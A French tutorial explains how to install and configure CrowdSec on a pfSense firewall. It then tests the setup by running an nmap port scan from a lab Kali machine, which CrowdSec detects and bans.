<p>Lorsqu'il est en place sur un firewall PfSense, CrowdSec va analyser plusieurs journaux du système pour identifier les comportements malveillants et bloquer les adresses IP associées. En complément, les adresses IP présentes dans les listes communautaires de CrowdSec sont également bloquées.</p>



<p>Il est important de préciser que si vous utilisez <strong>HAProxy en tant que reverse proxy sur un pare-feu PfSense</strong>, vous pouvez également<strong> configurer CrowdSec pour qu'il surveille les logs de HAProxy pour détecter les attaques Web</strong>. C'est très intéressant, et ce scénario sera probablement détaillé dans un article complémentaire.</p>



<p>Pour vous aider à mettre en place ce tutoriel, voici quelques ressources supplémentaires :</p>



<ul>
<li><a href="https://www.it-connect.fr/comment-installer-pfsense-dans-virtualbox-pour-creer-un-lab-virtuel/" target="_blank" rel="noopener" title="Comment installer Pfsense dans VirtualBox pour créer un lab virtuel ?">Créer un lab virtuel avec VirtualBox et PfSense</a></li>



<li><a href="https://www.it-connect.fr/tuto-vmware-workstation-lab-virtuel-pfsense/" target="_blank" rel="noopener" title="Comment installer pfSense dans VMWare Workstation pour créer un lab virtuel ?">Créer un lab virtuel avec VMware Workstation et PfSense</a></li>



<li><a href="https://www.it-connect.fr/pfsense-reverse-proxy-https-avec-haproxy-et-acme-lets-encrypt/" target="_blank" rel="noopener" title="PfSense : reverse proxy HTTPS avec HAProxy et ACME (Let’s Encrypt)">Configurer un reverse proxy HAProxy sur PfSense</a></li>



<li><a href="https://docs.crowdsec.net/docs/next/getting_started/install_crowdsec_pfsense/" target="_blank" rel="noopener nofollow" title="">Documentation officielle - CrowdSec</a></li>
</ul>



<h2 class="wp-block-heading">II. Prérequis pour suivre ce tutoriel</h2>



<p><strong>Pour suivre ce tutoriel, vous avez besoin d'un pare-feu PfSense déjà en place car nous n'allons pas voir l'installation.</strong> Pour ceux qui le souhaitent, vous pouvez utiliser le Lab basé sur VMware Workstation comme point de départ, si vous désirez vous entrainer. C'est ce que je fais pour ma part.</p>



<p>En complément, <strong>une machine virtuelle sous Kali Linux sera utilisée pour simuler une attaque</strong> (en se positionnant côté WAN). Mais, vous pouvez directement utiliser votre hôte physique sans problème (sous Windows, vous pouvez installer l'outil Zenmap, par exemple).</p>



<figure class="wp-block-image size-large"><img fetchpriority="high" decoding="async" width="800" height="450" src="media/5f2666b3.Schema-Lab-PfSense-VMware-Workstation-LAN-WAN-DMZ-800x450.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Schema-Lab-PfSense-VMware-Workstation-LAN-WAN-DMZ-800x450.jpg" alt="" class="wp-image-74558" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Schema-Lab-PfSense-VMware-Workstation-LAN-WAN-DMZ-800x450.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Schema-Lab-PfSense-VMware-Workstation-LAN-WAN-DMZ-550x309.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Schema-Lab-PfSense-VMware-Workstation-LAN-WAN-DMZ-150x84.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Schema-Lab-PfSense-VMware-Workstation-LAN-WAN-DMZ-768x432.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Schema-Lab-PfSense-VMware-Workstation-LAN-WAN-DMZ-50x28.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Schema-Lab-PfSense-VMware-Workstation-LAN-WAN-DMZ.jpg 1200w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<h2 class="wp-block-heading">III. Installer CrowdSec sur PfSense</h2>



<h3 class="wp-block-heading">A. Accéder au shell de PfSense</h3>



<p>La première étape consiste à installer un ensemble de paquets sur le pare-feu PfSense afin de pouvoir intégrer CrowdSec. Pour exécuter des commandes shell sur PfSense, il y a trois options :</p>



<ul>
<li>Utiliser le <strong>mode console</strong> (via l'hyperviseur, par exemple)</li>



<li>Utiliser la <strong>console distante</strong> via une connexion <strong>SSH</strong></li>



<li>Utiliser la fonction "<strong>Command Prompt</strong>" accessible via l'interface web de PfSense (dans le menu "<strong>Diagnostics</strong>").</li>
</ul>



<p>Dans le cas présent, je pensais utiliser la fonction "<strong>Command Prompt</strong>" mais les commandes ne sont pas passées. Il est préférable de passer directement via la console.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="800" height="335" src="media/84426bc9.PfSense-Menu-Diagnostique-commandes-800x335.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/PfSense-Menu-Diagnostique-commandes-800x335.png" alt="PfSense - Menu Diagnostique commandes" class="wp-image-75846" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/PfSense-Menu-Diagnostique-commandes-800x335.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/PfSense-Menu-Diagnostique-commandes-550x231.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/PfSense-Menu-Diagnostique-commandes-150x63.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/PfSense-Menu-Diagnostique-commandes-768x322.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/PfSense-Menu-Diagnostique-commandes-50x21.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/PfSense-Menu-Diagnostique-commandes.png 835w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Si vous avez besoin d'activer le SSH, cliquez sur "<strong>System</strong>" puis "<strong>Advanced</strong>". À cet endroit, il y a une section "<strong>Secure Shell</strong>" où vous pouvez activer le SSH et <strong>définir un port personnalisé</strong>.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="310" src="media/2591b51f.PfSense-Activer-acces-SSH.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/PfSense-Activer-acces-SSH.png" alt="PfSense - Activer accès SSH" class="wp-image-75854" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/PfSense-Activer-acces-SSH.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/PfSense-Activer-acces-SSH-550x213.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/PfSense-Activer-acces-SSH-150x58.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/PfSense-Activer-acces-SSH-768x298.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/PfSense-Activer-acces-SSH-50x19.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Ensuite, vous devez vous connecter en SSH à PfSense. Vous pouvez utiliser le client OpenSSH de Windows ou Linux, ou une autre application telle que PuTTY.</p>



<p>Voici comment se connecter sur un pare-feu avec l'adresse IP "<strong>192.168.100.1</strong>" avec le compte "<strong>admin</strong>", où le port SSH est <strong>9922</strong>.</p>



<pre class="wp-block-code"><code>ssh admin@192.168.100.1 -p 9922</code></pre>



<p>La première fois, vous devez accepter l'empreinte en indiquant "<strong>yes</strong>". Ensuite, saisissez le mot de passe et validez. Pour accéder au shell, choisissez l'option "<strong>8</strong>".</p>



<figure class="wp-block-image size-large"><img decoding="async" width="800" height="527" src="media/3ddc5afd.Se-connecter-en-SSH-sur-PfSense-800x527.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Se-connecter-en-SSH-sur-PfSense-800x527.png" alt="" class="wp-image-75855" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Se-connecter-en-SSH-sur-PfSense-800x527.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Se-connecter-en-SSH-sur-PfSense-550x362.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Se-connecter-en-SSH-sur-PfSense-150x99.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Se-connecter-en-SSH-sur-PfSense-768x506.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Se-connecter-en-SSH-sur-PfSense-50x33.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Se-connecter-en-SSH-sur-PfSense.png 850w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<h3 class="wp-block-heading">B. Installer CrowdSec, le paquet PfSense et le bouncer Firewall</h3>



<p>Désormais, il va falloir<strong> installer CrowdSec, son paquet pour PfSense, le bouncer Firewall et des dépendances</strong>. </p>



<p>Pour cela, vous devez récupérer les liens vers les dernières versions en vous référant au GitHub de CrowdSec. Autrement dit, les commandes "pkg add" ci-dessous pointent vers les versions actuelles, mais ce ne seront pas forcément les dernières lorsque vous allez suivre ce tutoriel.</p>



<ul>
<li><a href="https://github.com/crowdsecurity/pfSense-pkg-crowdsec/releases" target="_blank" rel="noopener nofollow" title="">GitHub - CrowdSec pour PfSense</a></li>
</ul>



<p>Avant d'installer les paquets, nous allons définir la variable "IGNORE_OSVERSION" à "yes" pour éviter les avertissements lors de l'installation des paquets (dû à la différence entre la version du paquet et la version de FreeBSD sur laquelle est basée PfSense).</p>



<p>Dans la console, saisissez cette commande :</p>



<pre class="wp-block-code"><code>setenv IGNORE_OSVERSION yes</code></pre>



<p>Puis exécutez les commandes suivantes pour télécharger et installer les paquets :</p>



<pre class="wp-block-code"><code>pkg add -f https://github.com/crowdsecurity/pfSense-pkg-crowdsec/releases/download/v0.1.3/<strong>abseil-20230125.3.pkg</strong>
pkg add -f https://github.com/crowdsecurity/pfSense-pkg-crowdsec/releases/download/v0.1.3/<strong>re2-20231101.pkg</strong>
pkg add -f https://github.com/crowdsecurity/pfSense-pkg-crowdsec/releases/download/v0.1.3/<strong>crowdsec-1.6.0.pkg</strong>
pkg add -f https://github.com/crowdsecurity/pfSense-pkg-crowdsec/releases/download/v0.1.3/<strong>crowdsec-firewall-bouncer-0.0.28_3.pkg</strong>
pkg add -f https://github.com/crowdsecurity/pfSense-pkg-crowdsec/releases/download/v0.1.3/<strong>pfSense-pkg-crowdsec-0.1.3.pkg</strong></code></pre>



<figure class="wp-block-image size-large"><a href="media/402f34e4.install-crowdsec-pfsense.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/install-crowdsec-pfsense.jpg"><img decoding="async" width="800" height="210" src="media/733e4aff.install-crowdsec-pfsense-800x210.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/install-crowdsec-pfsense-800x210.jpg" alt="install crowdsec pfsense" class="wp-image-75864" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/install-crowdsec-pfsense-800x210.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/install-crowdsec-pfsense-550x145.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/install-crowdsec-pfsense-150x39.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/install-crowdsec-pfsense-768x202.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/install-crowdsec-pfsense-50x13.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/install-crowdsec-pfsense.jpg 1000w" sizes="(max-width: 800px) 100vw, 800px" /></a></figure>



<p>L'installation de CrowdSec est effectuée à l'emplacement suivant :</p>



<pre class="wp-block-code"><code>/usr/local/etc/crowdsec/</code></pre>



<p>Par la suite, si vous avez besoin de redémarrer CrowdSec, utilisez cette commande (adaptez également pour l'arrêter / le démarrer) :</p>



<pre class="wp-block-code"><code>service crowdsec.sh restart</code></pre>



<p>Avant de poursuivre, <strong>vous devez redémarrer votre pare-feu PfSense</strong>, sinon CrowdSec ne sera pas actif, et la ligne de commande "cscli" indisponible également.</p>



<p><strong>Voilà, vous venez d'installer CrowdSec sur PfSense !</strong></p>



<h2 class="wp-block-heading">IV. Configurer CrowdSec sur PfSense</h2>



<p>Sachez que tout le jeu de commandes habituel permettant de configurer et d'utiliser CrowdSec est disponible : <strong>cscli</strong>. Vous pouvez aussi faire l'essentiel de la configuration à partir de l'interface d'administration de PfSense.</p>



<p>À partir du menu, sous "<strong>Services</strong>", choisissez "<strong>CrowdSec</strong>".</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="210" src="media/514153ee.PfSense-Menu-Services-CrowdSec.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/PfSense-Menu-Services-CrowdSec.png" alt="PfSense - Menu Services CrowdSec" class="wp-image-75851" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/PfSense-Menu-Services-CrowdSec.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/PfSense-Menu-Services-CrowdSec-550x144.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/PfSense-Menu-Services-CrowdSec-150x39.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/PfSense-Menu-Services-CrowdSec-768x202.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/PfSense-Menu-Services-CrowdSec-50x13.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Par défaut, et c'est plutôt appréciable, CrowdSec est préconfiguré pour être opérationnel et être capable d'analyser les journaux de PfSense. Pour en savoir plus sur les fichiers de logs parsés par CrowdSec, regardez ces deux fichiers :</p>



<pre class="wp-block-code"><code>/usr/local/etc/crowdsec/acquis.yaml
/usr/local/etc/crowdsec/acquis.d/pfsense.yaml</code></pre>



<p>Vous devez tout de même réviser la configuration proposée...</p>



<figure class="wp-block-image size-large"><img decoding="async" width="800" height="376" src="media/51ffbb63.Configurer-CrowdSec-sur-PfSense-Etape-1-800x376.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Configurer-CrowdSec-sur-PfSense-Etape-1-800x376.png" alt="Configurer CrowdSec sur PfSense - Etape 1" class="wp-image-75850" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Configurer-CrowdSec-sur-PfSense-Etape-1-800x376.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Configurer-CrowdSec-sur-PfSense-Etape-1-550x259.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Configurer-CrowdSec-sur-PfSense-Etape-1-150x71.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Configurer-CrowdSec-sur-PfSense-Etape-1-768x361.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Configurer-CrowdSec-sur-PfSense-Etape-1-50x24.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Configurer-CrowdSec-sur-PfSense-Etape-1.png 850w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Vous pouvez constater que la "<strong>Local API</strong>" (LAPI) est activée. Elle est utilisée par CrowdSec pour le partage d'informations entre plusieurs instances. Ici, c'est en local. Au cas où il s'agirait d'un déploiement avec plusieurs machines qui s'échangent les informations (adresses IP bloquées, par exemple), il faudrait s'intéresser à la section "<strong>Remote API</strong>". Ici, ce n'est pas nécessaire.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="800" height="367" src="media/89ae74bf.Configurer-CrowdSec-sur-PfSense-Etape-2-800x367.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Configurer-CrowdSec-sur-PfSense-Etape-2-800x367.png" alt="Configurer CrowdSec sur PfSense - Etape 2" class="wp-image-75849" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Configurer-CrowdSec-sur-PfSense-Etape-2-800x367.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Configurer-CrowdSec-sur-PfSense-Etape-2-550x253.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Configurer-CrowdSec-sur-PfSense-Etape-2-150x69.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Configurer-CrowdSec-sur-PfSense-Etape-2-768x353.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Configurer-CrowdSec-sur-PfSense-Etape-2-50x23.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Configurer-CrowdSec-sur-PfSense-Etape-2.png 930w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Descendez dans la page... Nous pouvons constater que CrowdSec est actif sur toutes les interfaces de PfSense, en entrée (flux malveillants entrants). Il est important de préciser que<strong> les règles de pare-feu créées par CrowdSec ne sont pas visibles dans la liste des règles de PfSense que l'on peut afficher en mode web</strong>, mais uniquement en ligne de commande.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="800" height="341" src="media/05c52973.Configurer-CrowdSec-sur-PfSense-Etape-3-800x341.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Configurer-CrowdSec-sur-PfSense-Etape-3-800x341.png" alt="Configurer CrowdSec sur PfSense - Etape 3" class="wp-image-75848" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Configurer-CrowdSec-sur-PfSense-Etape-3-800x341.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Configurer-CrowdSec-sur-PfSense-Etape-3-550x234.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Configurer-CrowdSec-sur-PfSense-Etape-3-150x64.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Configurer-CrowdSec-sur-PfSense-Etape-3-768x327.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Configurer-CrowdSec-sur-PfSense-Etape-3-50x21.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Configurer-CrowdSec-sur-PfSense-Etape-3.png 1153w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Cliquez sur le bouton "<strong>Save</strong>" pour valider la configuration et démarrer CrowdSec.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="800" height="394" src="media/82fe4dcc.Configurer-CrowdSec-sur-PfSense-Premier-demarrage-800x394.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Configurer-CrowdSec-sur-PfSense-Premier-demarrage-800x394.png" alt="" class="wp-image-75852" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Configurer-CrowdSec-sur-PfSense-Premier-demarrage-800x394.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Configurer-CrowdSec-sur-PfSense-Premier-demarrage-550x271.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Configurer-CrowdSec-sur-PfSense-Premier-demarrage-150x74.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Configurer-CrowdSec-sur-PfSense-Premier-demarrage-768x378.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Configurer-CrowdSec-sur-PfSense-Premier-demarrage-50x25.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Configurer-CrowdSec-sur-PfSense-Premier-demarrage.png 986w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Désormais, dans le menu "<strong>Status</strong>", cliquez sur "<strong>CrowdSec Status</strong>".</p>



<figure class="wp-block-image size-large"><img decoding="async" width="800" height="335" src="media/ac83a7a7.Configurer-CrowdSec-sur-PfSense-Etape-4-800x335.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Configurer-CrowdSec-sur-PfSense-Etape-4-800x335.png" alt="Configurer CrowdSec sur PfSense - Etape 4" class="wp-image-75847" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Configurer-CrowdSec-sur-PfSense-Etape-4-800x335.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Configurer-CrowdSec-sur-PfSense-Etape-4-550x230.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Configurer-CrowdSec-sur-PfSense-Etape-4-150x63.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Configurer-CrowdSec-sur-PfSense-Etape-4-768x321.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Configurer-CrowdSec-sur-PfSense-Etape-4-50x21.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Configurer-CrowdSec-sur-PfSense-Etape-4.png 1166w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Ici, vous pouvez visualiser l'<strong>état général de CrowdSec</strong>, ainsi qu'obtenir la liste des <strong>bouncers</strong>, des <strong>collections</strong>, des <strong>scénarios</strong>, etc... Mais aussi lister les dernières alertes et les décisions. Pour rappel, une décision correspond au fait de <strong>bannir une adresse IP</strong> (action par défaut).</p>



<figure class="wp-block-image size-large"><a href="media/ddef0532.PfSense-CrowdSec-Status.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/PfSense-CrowdSec-Status.png"><img decoding="async" width="800" height="283" src="media/fc14b823.PfSense-CrowdSec-Status-800x283.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/PfSense-CrowdSec-Status-800x283.png" alt="" class="wp-image-75867" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/PfSense-CrowdSec-Status-800x283.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/PfSense-CrowdSec-Status-550x194.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/PfSense-CrowdSec-Status-150x53.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/PfSense-CrowdSec-Status-768x271.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/PfSense-CrowdSec-Status-50x18.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/PfSense-CrowdSec-Status.png 1158w" sizes="(max-width: 800px) 100vw, 800px" /></a></figure>



<p>Voici la liste des collections actuellement installées :</p>



<figure class="wp-block-image size-large"><img decoding="async" width="800" height="356" src="media/0c701a54.CrowdSec-Liste-des-collections-PfSense-800x356.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/CrowdSec-Liste-des-collections-PfSense-800x356.png" alt="" class="wp-image-75868" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/CrowdSec-Liste-des-collections-PfSense-800x356.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/CrowdSec-Liste-des-collections-PfSense-550x245.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/CrowdSec-Liste-des-collections-PfSense-150x67.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/CrowdSec-Liste-des-collections-PfSense-768x342.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/CrowdSec-Liste-des-collections-PfSense-50x22.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/CrowdSec-Liste-des-collections-PfSense.png 1142w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Nous pourrions en ajouter d'autres à partir de la ligne de commande (<em>cscli collections install</em>). Ceci peut s'avérer utile si votre pare-feu PfSense héberge d'autres services, comme un reverse proxy HAProxy, par exemple.</p>



<p>Enfin, il y a la section "<strong>CrowdSec Metrics</strong>" accessible via le menu "<strong>Diagnostics</strong>" de PfSense qui donne des statistiques plus détaillées sur l'activité de CrowdSec sur notre pare-feu. Nous pouvons entre autres visualiser quels sont les fichiers de log analysés par CrowdSec et obtenir des statistiques à leur sujet.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="800" height="290" src="media/188e6c24.PfSense-CrowdSec-Metrics-800x290.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/PfSense-CrowdSec-Metrics-800x290.png" alt="PfSense - CrowdSec Metrics" class="wp-image-75869" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/PfSense-CrowdSec-Metrics-800x290.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/PfSense-CrowdSec-Metrics-550x200.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/PfSense-CrowdSec-Metrics-150x54.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/PfSense-CrowdSec-Metrics-768x279.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/PfSense-CrowdSec-Metrics-50x18.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/PfSense-CrowdSec-Metrics.png 1157w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<h2 class="wp-block-heading">V. Simuler un scan de ports sur PfSense</h2>



<p>A partir de l'<strong>outil NMAP</strong>, nous allons pouvoir <strong>réaliser un scan de ports sur l'adresse IP de l'interface WAN du PfSense</strong>. Dans cet exemple, il s'agit de "1<strong>92.168.1.60</strong>", mais en production, il s'agirait de votre adresse IP publique. Vous pouvez utiliser NMAP sur Linux, via WSL, ou sinon en mode graphique sous Windows avec Zenmap.</p>



<p>Voici la commande à exécuter pour faire un scan de port à la recherche de services fréquents :</p>



<pre class="wp-block-code"><code>nmap -sV 192.168.1.60</code></pre>



<p>Le scan a permis de détecter que le <strong>port 80/tcp (http) </strong>était ouvert. C'est normal, car une règle de NAT redirige les flux HTTP vers un serveur Web en DMZ. Il n'a pas obtenu d'autres réponses.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="200" src="media/85e1765b.Scan-de-port-avec-nmap-Exemple.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Scan-de-port-avec-nmap-Exemple.png" alt="Scan de port avec nmap - Exemple" class="wp-image-75871" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Scan-de-port-avec-nmap-Exemple.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Scan-de-port-avec-nmap-Exemple-550x138.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Scan-de-port-avec-nmap-Exemple-150x38.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Scan-de-port-avec-nmap-Exemple-768x192.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Scan-de-port-avec-nmap-Exemple-50x13.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Pour cause, la machine à l'origine du scan a été bannie par CrowdSec. Nous pouvons le voir dans le menu "<strong>Status</strong>" puis "<strong>CrowdSec</strong>", en accédant à l'onglet "<strong>Decisions</strong>". Cette adresse IP a été bannie à cause du scan de port, comme indiqué : <strong>pf-scan-multi_ports</strong>.</p>



<figure class="wp-block-image size-large"><a href="media/be17f847.PfSense-Adresse-IP-bannie-par-CrowdSec.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/PfSense-Adresse-IP-bannie-par-CrowdSec.png"><img decoding="async" width="800" height="308" src="media/aa0789e4.PfSense-Adresse-IP-bannie-par-CrowdSec-800x308.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/PfSense-Adresse-IP-bannie-par-CrowdSec-800x308.png" alt="PfSense - Adresse IP bannie par CrowdSec" class="wp-image-75872" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/PfSense-Adresse-IP-bannie-par-CrowdSec-800x308.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/PfSense-Adresse-IP-bannie-par-CrowdSec-550x212.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/PfSense-Adresse-IP-bannie-par-CrowdSec-150x58.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/PfSense-Adresse-IP-bannie-par-CrowdSec-768x296.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/PfSense-Adresse-IP-bannie-par-CrowdSec-50x19.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/PfSense-Adresse-IP-bannie-par-CrowdSec.png 1137w" sizes="(max-width: 800px) 100vw, 800px" /></a></figure>



<p>L'information est bien entendu visible à partir de la ligne de commande :</p>



<pre class="wp-block-code"><code>cscli decisions list </code></pre>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="87" src="media/449d9fa7.PfSense-Exemple-de-cscli.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/PfSense-Exemple-de-cscli.jpg" alt="PfSense - Exemple de cscli" class="wp-image-75873" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/PfSense-Exemple-de-cscli.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/PfSense-Exemple-de-cscli-550x60.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/PfSense-Exemple-de-cscli-150x16.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/PfSense-Exemple-de-cscli-768x84.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/PfSense-Exemple-de-cscli-50x5.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Nous pouvons constater que CrowdSec est opérationnel et réactif sur notre pare-feu PfSense ! C'est un gros plus pour la protection de notre réseau !</p>



<h2 class="wp-block-heading">VI. Conclusion</h2>



<p>Suite à la mise en place de CrowdSec sur notre pare-feu PfSense, nous sommes en mesure de détecter et bloquer les adresses IP malveillantes. Ainsi, si une machine vient frapper à la porte de votre pare-feu pour voir quels sont les services ouverts, elle sera directement bannie.</p>



<p>Par la suite, nous verrons comment aller plus loin dans la détection et la configuration s'il y a un reverse proxy HAProxy en place sur le pare-feu PfSense. Pour aller plus loin, nous pourrions aussi déployer CrowdSec sur les serveurs de notre infrastructure et faire en sorte pour que toutes les décisions et alertes soient synchronisées entre les hôtes, en nous appuyant sur l'instance CrowdSec déployée sur PfSense comme point central. </p><p>The post <a href="https://www.it-connect.fr/tuto-installation-crowdsec-pare-feu-pfsense/">Installer CrowdSec sur un pare-feu PfSense pour protéger son réseau</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=76485
title: Magika, un outil open source de Google pour identifier des fichiers grâce à l’IA
uri: Magika-un-outil-open-source-de-Google-pour-identifier-des-fichiers-gr
url: https://www.it-connect.fr/magika-outil-open-source-google-identifier-fichiers-grace-a-ia/
content:
